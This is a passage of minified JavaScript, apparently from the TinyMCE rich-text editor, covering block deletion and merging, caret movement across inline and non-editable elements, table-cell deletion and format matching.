r&&r===o}},Hl=function(e,t){return zr(e,t)?na(t,function(e){return No(e)||So(e)},(n=e,function(e){return Mr(n,ar.fromDom(e.dom().parentNode))})):_.none();var n},ql=function(e){var t,n,r;e.dom.isEmpty(e.getBody())&&(e.setContent(""),n=(t=e).getBody(),r=n.firstChild&&t.dom.isBlock(n.firstChild)?n.firstChild:n,t.selection.setCursorLocation(r,0))},$l=function(i,a,u){return ru(sc.firstPositionIn(u),sc.lastPositionIn(u),function(e,t){var n=Vl.normalizePosition(!0,e),r=Vl.normalizePosition(!1,t),o=Vl.normalizePosition(!1,a);return i?sc.nextPosition(u,o).map(function(e){return e.isEqual(r)&&a.isEqual(n)}).getOr(!1):sc.prevPosition(u,o).map(function(e){return e.isEqual(n)&&a.isEqual(r)}).getOr(!1)}).getOr(!0)},Wl=function(e,t){var n,r,o,i=ar.fromDom(e),a=ar.fromDom(t);return n=a,r="pre,code",o=d(Mr,i),ra(n,r,o).isSome()},Kl=function(e,t){return Ha(t)&&!1===(r=e,o=t,jo.isText(o)&&/^[ \t\r\n]*$/.test(o.data)&&!1===Wl(r,o))||(n=t,jo.isElement(n)&&"A"===n.nodeName&&n.hasAttribute("name"))||Xl(t);var n,r,o},Xl=jo.hasAttribute("data-mce-bookmark"),Yl=jo.hasAttribute("data-mce-bogus"),Gl=jo.hasAttributeValue("data-mce-bogus","all"),Jl=function(e){return function(e){var t,n,r=0;if(Kl(e,e))return!1;if(!(n=e.firstChild))return!0;t=new go(n,e);do{if(Gl(n))n=t.next(!0);else if(Yl(n))n=t.next();else if(jo.isBr(n))r++,n=t.next();else{if(Kl(e,n))return!1;n=t.next()}}while(n);return r<=1}(e.dom())},Ql=Ar("block","position"),Zl=Ar("from","to"),ef=function(e,t){var n=ar.fromDom(e),r=ar.fromDom(t.container());return Hl(n,r).map(function(e){return Ql(e,t)})},tf=function(o,i,e){var t=ef(o,_u.fromRangeStart(e)),n=t.bind(function(e){return sc.fromPosition(i,o,e.position()).bind(function(e){return ef(o,e).map(function(e){return t=o,n=i,r=e,jo.isBr(r.position().getNode())&&!1===Jl(r.block())?sc.positionIn(!1,r.block().dom()).bind(function(e){return e.isEqual(r.position())?sc.fromPosition(n,t,e).bind(function(e){return ef(t,e)}):_.some(r)}).getOr(r):r;var t,n,r})})});return ru(t,n,Zl).filter(function(e){return!1===Mr((r=e).from().block(),r.to().block())&&Vr((n=e).from().block()).bind(function(t){return Vr(n.to().block()).filter(function(e){return Mr(t,e)})}).isSome()&&(t=e,!1===jo.isContentEditableFalse(t.from().block().dom())&&!1===jo.isContentEditableFalse(t.to().block().dom()));var t,n,r})},nf=function(e,t,n){return n.collapsed?tf(e,t,n):_.none()},rf=function(e,t,n){return zr(t,e)?function(e,t){for(var n=D(t)?t:b,r=e.dom(),o=[];null!==r.parentNode&&r.parentNode!==undefined;){var i=r.parentNode,a=ar.fromDom(i);if(o.push(a),!0===n(a))break;r=i}return o}(e,function(e){return n(e)||Mr(e,t)}).slice(0,-1):[]},of=function(e,t){return rf(e,t,q(!1))},af=of,uf=function(e,t){return[e].concat(of(e,t))},sf=function(e){var t,n=(t=Kr(e),Y(t,Co).fold(function(){return t},function(e){return t.slice(0,e)}));return z(n,Ui),n},cf=function(e,t){var n=uf(t,e);return X(n.reverse(),Jl).each(Ui)},lf=function(e,t,n,r){if(Jl(n))return nl(n),sc.firstPositionIn(n.dom());0===U($r(r),function(e){return!Jl(e)}).length&&Jl(t)&&Pi(r,ar.fromTag("br"));var o=sc.prevPosition(n.dom(),_u.before(r.dom()));return z(sf(t),function(e){Pi(r,e)}),cf(e,t),o},ff=function(e,t,n){if(Jl(n))return Ui(n),Jl(t)&&nl(t),sc.firstPositionIn(t.dom());var r=sc.lastPositionIn(n.dom());return z(sf(t),function(e){Fi(n,e)}),cf(e,t),r},df=function(e,t){return zr(t,e)?(n=uf(e,t),_.from(n[n.length-1])):_.none();var n},mf=function(e,t){sc.positionIn(e,t.dom()).map(function(e){return e.getNode()}).map(ar.fromDom).filter(wo).each(Ui)},gf=function(e,t,n){return mf(!0,t),mf(!1,n),df(t,n).fold(d(ff,e,t,n),d(lf,e,t,n))},pf=function(e,t,n,r){return t?gf(e,r,n):gf(e,n,r)},hf=function(t,n){var e,r=ar.fromDom(t.getBody());return(e=nf(r.dom(),n,t.selection.getRng()).bind(function(e){return pf(r,n,e.from().block(),e.to().block())})).each(function(e){t.selection.setRng(e.toRange())}),e.isSome()},vf=function(e,t){var n=ar.fromDom(t),r=d(Mr,e);return ta(n,_o,r).isSome()},yf=function(e,t){var n,r,o=sc.prevPosition(e.dom(),_u.fromRangeStart(t)).isNone(),i=sc.nextPosition(e.dom(),_u.fromRangeEnd(t)).isNone();return!(vf(n=e,(r=t).startContainer)||vf(n,r.endContainer))&&o&&i},bf=function(e){var n,r,o,t,i=ar.fromDom(e.getBody()),a=e.selection.getRng();return yf(i,a)?((t=e).setContent(""),t.selection.setCursorLocation(),!0):(n=i,r=e.selection,o=r.getRng(),ru(Hl(n,ar.fromDom(o.startContainer)),Hl(n,ar.fromDom(o.endContainer)),function(e,t){return!1===Mr(e,t)&&(o.deleteContents(),pf(n,!0,e,t).each(function(e){r.setRng(e.toRange())}),!0)}).getOr(!1))},Cf=function(e,t){return!e.selection.isCollapsed()&&bf(e)},xf=function(a){if(!k(a))throw new Error("cases must be an array");if(0===a.length)throw new Error("there must be at least one case");var u=[],n={};return z(a,function(e,r){var t=gr(e);if(1!==t.length)throw new Error("one and only one name per case");var o=t[0],i=e[o];if(n[o]!==undefined)throw new Error("duplicate key detected:"+o);if("cata"===o)throw new Error("cannot have a case named cata (sorry)");if(!k(i))throw new Error("case arguments must be an array");u.push(o),n[o]=function(){var e=arguments.length;if(e!==i.length)throw new Error("Wrong number of arguments to case "+o+". Expected "+i.length+" ("+i+"), got "+e);for(var n=new Array(e),t=0;t<n.length;t++)n[t]=arguments[t];return{fold:function(){if(arguments.length!==a.length)throw new Error("Wrong number of arguments to fold. Expected "+a.length+", got "+arguments.length);return arguments[r].apply(null,n)},match:function(e){var t=gr(e);if(u.length!==t.length)throw new Error("Wrong number of arguments to match. Expected: "+u.join(",")+"\nActual: "+t.join(","));if(!J(u,function(e){return F(t,e)}))throw new Error("Not all branches were specified when using match. Specified: "+t.join(", ")+"\nRequired: "+u.join(", "));return e[o].apply(null,n)},log:function(e){V.console.log(e,{constructors:u,constructor:o,params:n})}}}}),n},wf=function(e){return Is(e).exists(wo)},Nf=function(e,t,n){var r=U(uf(ar.fromDom(n.container()),t),Co),o=Z(r).getOr(t);return sc.fromPosition(e,o.dom(),n).filter(wf)},Ef=function(e,t){return Is(t).exists(wo)||Nf(!0,e,t).isSome()},Sf=function(e,t){return(n=t,_.from(n.getNode(!0)).map(ar.fromDom)).exists(wo)||Nf(!1,e,t).isSome();var n},Tf=d(Nf,!1),kf=d(Nf,!0),_f=(ul="\xa0",function(e){return ul===e}),Af=function(e){return/^[\r\n\t ]$/.test(e)},Rf=function(e){return!Af(e)&&!_f(e)},Df=function(n,r,o){return _.from(o.container()).filter(jo.isText).exists(function(e){var t=n?0:-1;return r(e.data.charAt(o.offset()+t))})},Of=d(Df,!0,Af),Bf=d(Df,!1,Af),Pf=function(e){var t=e.container();return jo.isText(t)&&0===t.data.length},If=function(e,t){var n=ks(e,t);return jo.isContentEditableFalse(n)&&!jo.isBogusAll(n)},Lf=d(If,0),Ff=d(If,-1),Mf=function(e,t){return jo.isTable(ks(e,t))},zf=d(Mf,0),Uf=d(Mf,-1),jf=xf([{remove:["element"]},{moveToElement:["element"]},{moveToPosition:["position"]}]),Vf=function(e,t,n,r){var o=r.getNode(!1===t);return Hl(ar.fromDom(e),ar.fromDom(n.getNode())).map(function(e){return Jl(e)?jf.remove(e.dom()):jf.moveToElement(o)}).orThunk(function(){return _.some(jf.moveToElement(o))})},Hf=function(u,s,c){return sc.fromPosition(s,u,c).bind(function(e){return a=e.getNode(),_o(ar.fromDom(a))||So(ar.fromDom(a))?_.none():(t=u,o=e,i=function(e){return xo(ar.fromDom(e))&&!Ts(r,o,t)},Bs(!(n=s),r=c).fold(function(){return Bs(n,o).fold(q(!1),i)},i)?_.none():s&&jo.isContentEditableFalse(e.getNode())?Vf(u,s,c,e):!1===s&&jo.isContentEditableFalse(e.getNode(!0))?Vf(u,s,c,e):s&&Ff(c)?_.some(jf.moveToPosition(e)):!1===s&&Lf(c)?_.some(jf.moveToPosition(e)):_.none());var t,n,r,o,i,a})},qf=function(r,e,o){return i=e,a=o.getNode(!1===i),u=i?"after":"before",jo.isElement(a)&&a.getAttribute("data-mce-caret")===u?(t=e,n=o.getNode(!1===e),t&&jo.isContentEditableFalse(n.nextSibling)?_.some(jf.moveToElement(n.nextSibling)):!1===t&&jo.isContentEditableFalse(n.previousSibling)?_.some(jf.moveToElement(n.previousSibling)):_.none()).fold(function(){return Hf(r,e,o)},_.some):Hf(r,e,o).bind(function(e){return t=r,n=o,e.fold(function(e){return _.some(jf.remove(e))},function(e){return _.some(jf.moveToElement(e))},function(e){return Ts(n,e,t)?_.none():_.some(jf.moveToPosition(e))});var t,n});var t,n,i,a,u},$f=function(e,t,n){if(0!==n){var r,o,i,a=e.data.slice(t,t+n),u=t+n>=e.data.length,s=0===t;e.replaceData(t,n,(o=s,i=u,j((r=a).split(""),function(e,t){return-1!==" \f\n\r\t\x0B".indexOf(t)||"\xa0"===t?e.previousCharIsSpace||""===e.str&&o||e.str.length===r.length-1&&i?{previousCharIsSpace:!1,str:e.str+"\xa0"}:{previousCharIsSpace:!0,str:e.str+" "}:{previousCharIsSpace:!1,str:e.str+t}},{previousCharIsSpace:!1,str:""}).str))}},Wf=function(e,t){var n,r=e.data.slice(t),o=r.length-(n=r,n.replace(/^\s+/g,"")).length;return $f(e,t,o)},Kf=function(e,t){return r=e,o=(n=t).container(),i=n.offset(),!1===_u.isTextPosition(n)&&o===r.parentNode&&i>_u.before(r).offset()?_u(t.container(),t.offset()-1):t;var n,r,o,i},Xf=function(e){return Ha(e.previousSibling)?_.some((t=e.previousSibling,jo.isText(t)?_u(t,t.data.length):_u.after(t))):e.previousSibling?sc.lastPositionIn(e.previousSibling):_.none();var t},Yf=function(e){return Ha(e.nextSibling)?_.some((t=e.nextSibling,jo.isText(t)?_u(t,0):_u.before(t))):e.nextSibling?sc.firstPositionIn(e.nextSibling):_.none();var t},Gf=function(r,o){return Xf(o).orThunk(function(){return Yf(o)}).orThunk(function(){return e=r,t=o,n=_u.before(t.previousSibling?t.previousSibling:t.parentNode),sc.prevPosition(e,n).fold(function(){return sc.nextPosition(e,_u.after(t))},_.some);var e,t,n})},Jf=function(n,r){return Yf(r).orThunk(function(){return Xf(r)}).orThunk(function(){return e=n,t=r,sc.nextPosition(e,_u.after(t)).fold(function(){return sc.prevPosition(e,_u.before(t))},_.some);var e,t})},Qf=function(e,t,n){return(r=e,o=t,i=n,r?Jf(o,i):Gf(o,i)).map(d(Kf,n));var r,o,i},Zf=function(t,n,e){e.fold(function(){t.focus()},function(e){t.selection.setRng(e.toRange(),n)})},ed=function(e,t){return t&&e.schema.getBlockElements().hasOwnProperty(lr(t))},td=function(e){if(Jl(e)){var t=ar.fromHtml('<br data-mce-bogus="1">');return zi(e),Fi(e,t),_.some(_u.before(t.dom()))}return _.none()},nd=function(e,t,l){var n,r,o,i,a=Hr(e).filter(mr),u=qr(e).filter(mr);return Ui(e),(n=a,r=u,o=t,i=function(e,t,n){var r,o,i,a,u=e.dom(),s=t.dom(),c=u.data.length;return o=s,i=l,a=Jn((r=u).data).length,r.appendData(o.data),Ui(ar.fromDom(o)),i&&Wf(r,a),n.container()===s?_u(u,c):n},n.isSome()&&r.isSome()&&o.isSome()?_.some(i(n.getOrDie(),r.getOrDie(),o.getOrDie())):_.none()).orThunk(function(){return l&&(a.each(function(e){return t=e.dom(),n=e.dom().length,r=t.data.slice(0,n),o=r.length-Jn(r).length,$f(t,n-o,o);var t,n,r,o}),u.each(function(e){return Wf(e.dom(),0)})),t})},rd=function(t,n,e,r){void 0===r&&(r=!0);var o,i,a=Qf(n,t.getBody(),e.dom()),u=ta(e,d(ed,t),(o=t.getBody(),function(e){return e.dom()===o})),s=nd(e,a,(i=e,br(t.schema.getTextInlineElements(),lr(i))));t.dom.isEmpty(t.getBody())?(t.setContent(""),t.selection.setCursorLocation()):u.bind(td).fold(function(){r&&Zf(t,n,s)},function(e){r&&Zf(t,n,_.some(e))})},od=function(a,u){var e,t,n,r,o,i;return(e=a.getBody(),t=u,n=a.selection.getRng(),r=Os(t?1:-1,e,n),o=_u.fromRangeStart(r),i=ar.fromDom(e),!1===t&&Ff(o)?_.some(jf.remove(o.getNode(!0))):t&&Lf(o)?_.some(jf.remove(o.getNode())):!1===t&&Lf(o)&&Sf(i,o)?Tf(i,o).map(function(e){return jf.remove(e.getNode())}):t&&Ff(o)&&Ef(i,o)?kf(i,o).map(function(e){return jf.remove(e.getNode())}):qf(e,t,o)).map(function(e){return e.fold((o=a,i=u,function(e){return o._selectionOverrides.hideFakeCaret(),rd(o,i,ar.fromDom(e)),!0}),(n=a,r=u,function(e){var t=r?_u.before(e):_u.after(e);return n.selection.setRng(t.toRange()),!0}),(t=a,function(e){return t.selection.setRng(e.toRange()),!0}));var t,n,r,o,i}).getOr(!1)},id=function(e,t){var n,r=e.selection.getNode();return!!jo.isContentEditableFalse(r)&&(n=ar.fromDom(e.getBody()),z(Qi(n,".mce-offscreen-selection"),Ui),rd(e,t,ar.fromDom(e.selection.getNode())),ql(e),!0)},ad=function(e,t){return e.selection.isCollapsed()?od(e,t):id(e,t)},ud=function(e){var t,n=function(e,t){for(;t&&t!==e;){if(jo.isContentEditableTrue(t)||jo.isContentEditableFalse(t))return t;t=t.parentNode}return null}(e.getBody(),e.selection.getNode());return jo.isContentEditableTrue(n)&&e.dom.isBlock(n)&&e.dom.isEmpty(n)&&(t=e.dom.create("br",{"data-mce-bogus":"1"}),e.dom.setHTML(n,""),n.appendChild(t),e.selection.setRng(_u.before(t).toRange())),!0},sd=jo.isText,cd=function(e){return sd(e)&&e.data[0]===xa},ld=function(e){return sd(e)&&e.data[e.data.length-1]===xa},fd=function(e){return e.ownerDocument.createTextNode(xa)},dd=function(e,t){return e?function(e){if(sd(e.previousSibling))return ld(e.previousSibling)||e.previousSibling.appendData(xa),e.previousSibling;if(sd(e))return cd(e)||e.insertData(0,xa),e;var t=fd(e);return e.parentNode.insertBefore(t,e),t}(t):function(e){if(sd(e.nextSibling))return cd(e.nextSibling)||e.nextSibling.insertData(0,xa),e.nextSibling;if(sd(e))return ld(e)||e.appendData(xa),e;var t=fd(e);return e.nextSibling?e.parentNode.insertBefore(t,e.nextSibling):e.parentNode.appendChild(t),t}(t)},md=d(dd,!0),gd=d(dd,!1),pd=function(e,t){return jo.isText(e.container())?dd(t,e.container()):dd(t,e.getNode())},hd=function(e,t){var n=t.get();return n&&e.container()===n&&Ta(n)},vd=function(n,e){return e.fold(function(e){ss.remove(n.get());var t=md(e);return n.set(t),_.some(_u(t,t.length-1))},function(e){return sc.firstPositionIn(e).map(function(e){if(hd(e,n))return _u(n.get(),1);ss.remove(n.get());var t=pd(e,!0);return n.set(t),_u(t,1)})},function(e){return sc.lastPositionIn(e).map(function(e){if(hd(e,n))return _u(n.get(),n.get().length-1);ss.remove(n.get());var t=pd(e,!1);return n.set(t),_u(t,t.length-1)})},function(e){ss.remove(n.get());var t=gd(e);return n.set(t),_.some(_u(t,1))})},yd=function(e,t){for(var n=0;n<e.length;n++){var r=e[n].apply(null,t);if(r.isSome())return r}return _.none()},bd=xf([{before:["element"]},{start:["element"]},{end:["element"]},{after:["element"]}]),Cd=function(e,t){var n=Ss(t,e);return n||e},xd=function(e,t,n){var r=Vl.normalizeForwards(n),o=Cd(t,r.container());return Vl.findRootInline(e,o,r).fold(function(){return sc.nextPosition(o,r).bind(d(Vl.findRootInline,e,o)).map(function(e){return bd.before(e)})},_.none)},wd=function(e,t){return null===Qu(e,t)},Nd=function(e,t,n){return Vl.findRootInline(e,t,n).filter(d(wd,t))},Ed=function(e,t,n){var r=Vl.normalizeBackwards(n);return Nd(e,t,r).bind(function(e){return sc.prevPosition(e,r).isNone()?_.some(bd.start(e)):_.none()})},Sd=function(e,t,n){var r=Vl.normalizeForwards(n);return Nd(e,t,r).bind(function(e){return sc.nextPosition(e,r).isNone()?_.some(bd.end(e)):_.none()})},Td=function(e,t,n){var r=Vl.normalizeBackwards(n),o=Cd(t,r.container());return Vl.findRootInline(e,o,r).fold(function(){return sc.prevPosition(o,r).bind(d(Vl.findRootInline,e,o)).map(function(e){return bd.after(e)})},_.none)},kd=function(e){return!1===Vl.isRtl(Ad(e))},_d=function(e,t,n){return yd([xd,Ed,Sd,Td],[e,t,n]).filter(kd)},Ad=function(e){return e.fold($,$,$,$)},Rd=function(e){return e.fold(q("before"),q("start"),q("end"),q("after"))},Dd=function(e){return e.fold(bd.before,bd.before,bd.after,bd.after)},Od=function(n,e,r,t,o,i){return ru(Vl.findRootInline(e,r,t),Vl.findRootInline(e,r,o),function(e,t){return e!==t&&Vl.hasSameParentBlock(r,e,t)?bd.after(n?e:t):i}).getOr(i)},Bd=function(e,r){return e.fold(q(!0),function(e){return n=r,!(Rd(t=e)===Rd(n)&&Ad(t)===Ad(n));var t,n})},Pd=function(e,t){return e?t.fold(H(_.some,bd.start),_.none,H(_.some,bd.after),_.none):t.fold(_.none,H(_.some,bd.before),_.none,H(_.some,bd.end))},Id=function(a,u,s,c){var e=Vl.normalizePosition(a,c),l=_d(u,s,e);return _d(u,s,e).bind(d(Pd,a)).orThunk(function(){return t=a,n=u,r=s,o=l,e=c,i=Vl.normalizePosition(t,e),sc.fromPosition(t,r,i).map(d(Vl.normalizePosition,t)).fold(function(){return o.map(Dd)},function(e){return _d(n,r,e).map(d(Od,t,n,r,i,e)).filter(d(Bd,o))}).filter(kd);var t,n,r,o,e,i})},Ld=_d,Fd=Id,Md=(d(Id,!1),d(Id,!0),Dd),zd=function(e){return e.fold(bd.start,bd.start,bd.end,bd.end)},Ud=function(e){return D(e.selection.getSel().modify)},jd=function(e,t,n){var r=e?1:-1;return t.setRng(_u(n.container(),n.offset()+r).toRange()),t.getSel().modify("move",e?"forward":"backward","word"),!0},Vd=function(e,t){var n=t.selection.getRng(),r=e?_u.fromRangeEnd(n):_u.fromRangeStart(n);return!!Ud(t)&&(e&&Aa(r)?jd(!0,t.selection,r):!(e||!Ra(r))&&jd(!1,t.selection,r))},Hd=function(e,t){var n=e.dom.createRng();n.setStart(t.container(),t.offset()),n.setEnd(t.container(),t.offset()),e.selection.setRng(n)},qd=function(e){return!1!==e.settings.inline_boundaries},$d=function(e,t){e?t.setAttribute("data-mce-selected","inline-boundary"):t.removeAttribute("data-mce-selected")},Wd=function(t,e,n){return vd(e,n).map(function(e){return Hd(t,e),n})},Kd=function(e,t,n){return function(){return!!qd(t)&&Vd(e,t)}},Xd={move:function(a,u,s){return function(){return!!qd(a)&&(t=a,n=u,e=s,r=t.getBody(),o=_u.fromRangeStart(t.selection.getRng()),i=d(Vl.isInlineTarget,t),Fd(e,i,r,o).bind(function(e){return Wd(t,n,e)})).isSome();var t,n,e,r,o,i}},moveNextWord:d(Kd,!0),movePrevWord:d(Kd,!1),setupSelectedState:function(a){var u=Hi(null),s=d(Vl.isInlineTarget,a);return a.on("NodeChange",function(e){var t,n,r,o,i;qd(a)&&(t=s,n=a.dom,r=e.parents,o=U(n.select('*[data-mce-selected="inline-boundary"]'),t),i=U(r,t),z(Q(o,i),d($d,!1)),z(Q(i,o),d($d,!0)),function(e,t){if(e.selection.isCollapsed()&&!0!==e.composing&&t.get()){var n=_u.fromRangeStart(e.selection.getRng());_u.isTextPosition(n)&&!1===Vl.isAtZwsp(n)&&(Hd(e,ss.removeAndReposition(t.get(),n)),t.set(null))}}(a,u),function(n,r,o,e){if(r.selection.isCollapsed()){var t=U(e,n);z(t,function(e){var t=_u.fromRangeStart(r.selection.getRng());Ld(n,r.getBody(),t).bind(function(e){return Wd(r,o,e)})})}}(s,a,u,e.parents))}),u},setCaretPosition:Hd},Yd=function(t,n){return function(e){return vd(n,e).map(function(e){return Xd.setCaretPosition(t,e),!0}).getOr(!1)}},Gd=function(r,o,i,a){var u=r.getBody(),s=d(Vl.isInlineTarget,r);r.undoManager.ignore(function(){var e,t,n;r.selection.setRng((e=i,t=a,(n=V.document.createRange()).setStart(e.container(),e.offset()),n.setEnd(t.container(),t.offset()),n)),r.execCommand("Delete"),Ld(s,u,_u.fromRangeStart(r.selection.getRng())).map(zd).map(Yd(r,o))}),r.nodeChanged()},Jd=function(n,r,i,o){var e,t,a=(e=n.getBody(),t=o.container(),Ss(t,e)||e),u=d(Vl.isInlineTarget,n),s=Ld(u,a,o);return s.bind(function(e){return i?e.fold(q(_.some(zd(e))),_.none,q(_.some(Md(e))),_.none):e.fold(_.none,q(_.some(Md(e))),_.none,q(_.some(zd(e))))}).map(Yd(n,r)).getOrThunk(function(){var t=sc.navigate(i,a,o),e=t.bind(function(e){return Ld(u,a,e)});return s.isSome()&&e.isSome()?Vl.findRootInline(u,a,o).map(function(e){return o=e,!!ru(sc.firstPositionIn(o),sc.lastPositionIn(o),function(e,t){var n=Vl.normalizePosition(!0,e),r=Vl.normalizePosition(!1,t);return sc.nextPosition(o,n).map(function(e){return e.isEqual(r)}).getOr(!0)}).getOr(!0)&&(rd(n,i,ar.fromDom(e)),!0);var o}).getOr(!1):e.bind(function(e){return t.map(function(e){return i?Gd(n,r,o,e):Gd(n,r,e,o),!0})}).getOr(!1)})},Qd=function(e,t,n){if(e.selection.isCollapsed()&&!1!==e.settings.inline_boundaries){var r=_u.fromRangeStart(e.selection.getRng());return Jd(e,t,n,r)}return!1},Zd=Ar("start","end"),em=Ar("rng","table","cells"),tm=xf([{removeTable:["element"]},{emptyCells:["cells"]}]),nm=function(e,t){return ia(ar.fromDom(e),"td,th",t)},rm=function(e,t){return ra(e,"table",t)},om=function(e){return!1===Mr(e.start(),e.end())},im=function(e,n){return rm(e.start(),n).bind(function(t){return rm(e.end(),n).bind(function(e){return Mr(t,e)?_.some(t):_.none()})})},am=function(e){return Qi(e,"td,th")},um=function(r,e){var t=nm(e.startContainer,r),n=nm(e.endContainer,r);return e.collapsed?_.none():ru(t,n,Zd).fold(function(){return t.fold(function(){return n.bind(function(t){return rm(t,r).bind(function(e){return Z(am(e)).map(function(e){return Zd(e,t)})})})},function(t){return rm(t,r).bind(function(e){return ee(am(e)).map(function(e){return Zd(t,e)})})})},function(e){return sm(r,e)?_.none():(n=r,rm((t=e).start(),n).bind(function(e){return ee(am(e)).map(function(e){return Zd(t.start(),e)})}));var t,n})},sm=function(e,t){return im(t,e).isSome()},cm=function(e,t){var n,r,o,i,a=d(Mr,e);return(n=t,r=a,o=nm(n.startContainer,r),i=nm(n.endContainer,r),ru(o,i,Zd).filter(om).filter(function(e){return sm(r,e)}).orThunk(function(){return um(r,n)})).bind(function(e){return im(t=e,a).map(function(e){return em(t,e,am(e))});var t})},lm=function(e,t){return Y(e,function(e){return Mr(e,t)})},fm=function(n){return(r=n,ru(lm(r.cells(),r.rng().start()),lm(r.cells(),r.rng().end()),function(e,t){return r.cells().slice(e,t+1)})).map(function(e){var t=n.cells();return e.length===t.length?tm.removeTable(n.table()):tm.emptyCells(e)});var r},dm=function(e,t){return cm(e,t).bind(fm)},mm=function(e){var t=[];if(e)for(var n=0;n<e.rangeCount;n++)t.push(e.getRangeAt(n));return t},gm=mm,pm=function(e){return G(e,function(e){var t=Za(e);return t?[ar.fromDom(t)]:[]})},hm=function(e){return 1<mm(e).length},vm=function(e){return U(pm(e),_o)},ym=function(e){return Qi(e,"td[data-mce-selected],th[data-mce-selected]")},bm=function(e,t){var n=ym(t),r=vm(e);return 0<n.length?n:r},Cm=bm,xm=function(e){return bm(gm(e.selection.getSel()),ar.fromDom(e.getBody()))},wm=function(e,t){return z(t,nl),e.selection.setCursorLocation(t[0].dom(),0),!0},Nm=function(e,t){return rd(e,!1,t),!0},Em=function(n,e,r,t){return Tm(e,t).fold(function(){return t=n,dm(e,r).map(function(e){return e.fold(d(Nm,t),d(wm,t))});var t},function(e){return km(n,e)}).getOr(!1)},Sm=function(e,t){return X(uf(t,e),_o)},Tm=function(e,t){return X(uf(t,e),function(e){return"caption"===lr(e)})},km=function(e,t){return nl(t),e.selection.setCursorLocation(t.dom(),0),_.some(!0)},_m=function(u,s,c,l,f){return sc.navigate(c,u.getBody(),f).bind(function(e){return r=l,o=c,i=f,a=e,sc.firstPositionIn(r.dom()).bind(function(t){return sc.lastPositionIn(r.dom()).map(function(e){return o?i.isEqual(t)&&a.isEqual(e):i.isEqual(e)&&a.isEqual(t)})}).getOr(!0)?km(u,l):(t=l,n=e,Tm(s,ar.fromDom(n.getNode())).map(function(e){return!1===Mr(e,t)}));var t,n,r,o,i,a}).or(_.some(!0))},Am=function(a,u,s,e){var c=_u.fromRangeStart(a.selection.getRng());return Sm(s,e).bind(function(e){return Jl(e)?km(a,e):(t=a,n=s,r=u,o=e,i=c,sc.navigate(r,t.getBody(),i).bind(function(e){return Sm(n,ar.fromDom(e.getNode())).map(function(e){return!1===Mr(e,o)})}));var t,n,r,o,i})},Rm=function(a,u,e){var s=ar.fromDom(a.getBody());return Tm(s,e).fold(function(){return Am(a,u,s,e)},function(e){return t=a,n=u,r=s,o=e,i=_u.fromRangeStart(t.selection.getRng()),Jl(o)?km(t,o):_m(t,r,n,o,i);var t,n,r,o,i}).getOr(!1)},Dm=function(e,t){var n,r,o,i,a,u=ar.fromDom(e.selection.getStart(!0)),s=xm(e);return e.selection.isCollapsed()&&0===s.length?Rm(e,t,u):(n=e,r=u,o=ar.fromDom(n.getBody()),i=n.selection.getRng(),0!==(a=xm(n)).length?wm(n,a):Em(n,o,i,r))},Om=wc.isEq,Bm=function(e,t,n){var r=e.formatter.get(n);if(r)for(var o=0;o<r.length;o++)if(!1===r[o].inherit&&e.dom.is(t,r[o].selector))return!0;return!1},Pm=function(t,e,n,r){var o=t.dom.getRoot();return e!==o&&(e=t.dom.getParent(e,function(e){return!!Bm(t,e,n)||e.parentNode===o||!!Fm(t,e,n,r,!0)}),Fm(t,e,n,r))},Im=function(e,t,n){return!!Om(t,n.inline)||!!Om(t,n.block)||(n.selector?1===t.nodeType&&e.is(t,n.selector):void 0)},Lm=function(e,t,n,r,o,i){var a,u,s,c=n[r];if(n.onmatch)return n.onmatch(t,n,r);if(c)if("undefined"==typeof c.length){for(a in c)if(c.hasOwnProperty(a)){if(u="attributes"===r?e.getAttrib(t,a):wc.getStyle(e,t,a),o&&!u&&!n.exact)return;if((!o||n.exact)&&!Om(u,wc.normalizeStyleValue(e,wc.replaceVars(c[a],i),a)))return}}else for(s=0;s<c.length;s++)if("attributes"===r?e.getAttrib(t,c[s]):wc.getStyle(e,t,c[s]))return n;return n},Fm=function(e,t,n,r,o){var i,a,u,s,c=e.formatter.get(n),l=e.dom;if(c&&t)for(a=0;a<c.length;a++)if(i=c[a],Im(e.dom,t,i)&&Lm(l,t,i,"attributes",o,r)&&Lm(l,t,i,"styles",o,r)){if(s=i.classes)for(u=0;u<s.length;u++)if(!e.dom.hasClass(t,s[u]))return;return i}},Mm={matchNode:Fm,matchName:Im,match:function(e,t,n,r){var o;return r?Pm(e,r,t,n):(r=e.selection.getNode(),!!Pm(e,r,t,n)||!((o=e.selection.getStart())===r||!Pm(e,o,t,n)))},matchAll:function(r,o,i){var e,a=[],u={};return e=r.selection.getStart(),r.dom.getParent(e,function(e){var t,n;for(t=0;t<o.length;t++)n=o[t],!u[n]&&Fm(r,e,n,i)&&(u[n]=!0,a.push(n))},r.dom.getRoot()),a},canApply:function(e,t){var n,r,o,i,a,u=e.formatter.get(t),s=e.dom;if(u)for(n=e.selection.getStart(),r=wc.getParents(s,n),i=u.length-1;0<=i;i--){if(!(a=u[i].selector)||u[i].defaultBlock)return!0;for(o=r.length-1;0<=o;o--)if(s.is(r[o],a))return!0}return!1},matchesUnInheritedFormatSelector:Bm},zm=function(e,t){return e.splitText(t)},Um=function(e){var t=e.startContainer,n=e.startOffset,r=e.endContainer,o=e.endOffset;return t===r&&jo.isText(t)?0<n&&n<t.nodeValue.length&&(t=(r=zm(t,n)).previousSibling,n<o?(t=r=zm(r,o-=n).previousSibling,o=r.nodeValue.length,n=0):o=0):(jo.isText(t)&&0<n&&n<t.nodeValue.length&&(t=zm(t,n),n=0),jo.isText(r)&&0<o&&o<r.nodeValue.length&&(o=(r=zm(r,o).previousSibling).nodeValue.length)),{startContainer:t,startOffset:n,endContainer:r,endOffset:o}},jm=xa,Vm="_mce_caret",Hm=function(e){return 0<function(e){for(var t=[];e;){if(3===e.nodeType&&e.nodeValue!==jm||1<e.childNodes.length)return[];1===e.nodeType&&t.push(e),e=e.firstChild}return t}(e).length},qm=function(e){var t;if(e)for(e=(t=new go(e,e)).current();e;e=t.next())if(3===e.nodeType)return e;return null},$m=function(e){var t=ar.fromTag("span");return Nr(t,{id:Vm,"data-mce-bogus":"1","data-mce-type":"format-caret"}),e&&Fi(t,ar.fromText(jm)),t},Wm=function(e,t,n){void 0===n&&(n=!0);var r,o=e.dom,i=e.selection;if(Hm(t))rd(e,!1,ar.fromDom(t),n);else{var a=i.getRng(),u=o.getParent(t,o.isBlock),s=((r=qm(t))&&r.nodeValue.charAt(0)===jm&&r.deleteData(0,1),r);a.startContainer===s&&0<a.startOffset&&a.setStart(s,a.startOffset-1),a.endContainer===s&&0<a.endOffset&&a.setEnd(s,a.endOffset-1),o.remove(t,!0),u&&o.isEmpty(u)&&nl(ar.fromDom(u)),i.setRng(a)}},Km=function(e,t,n){void 0===n&&(n=!0);var 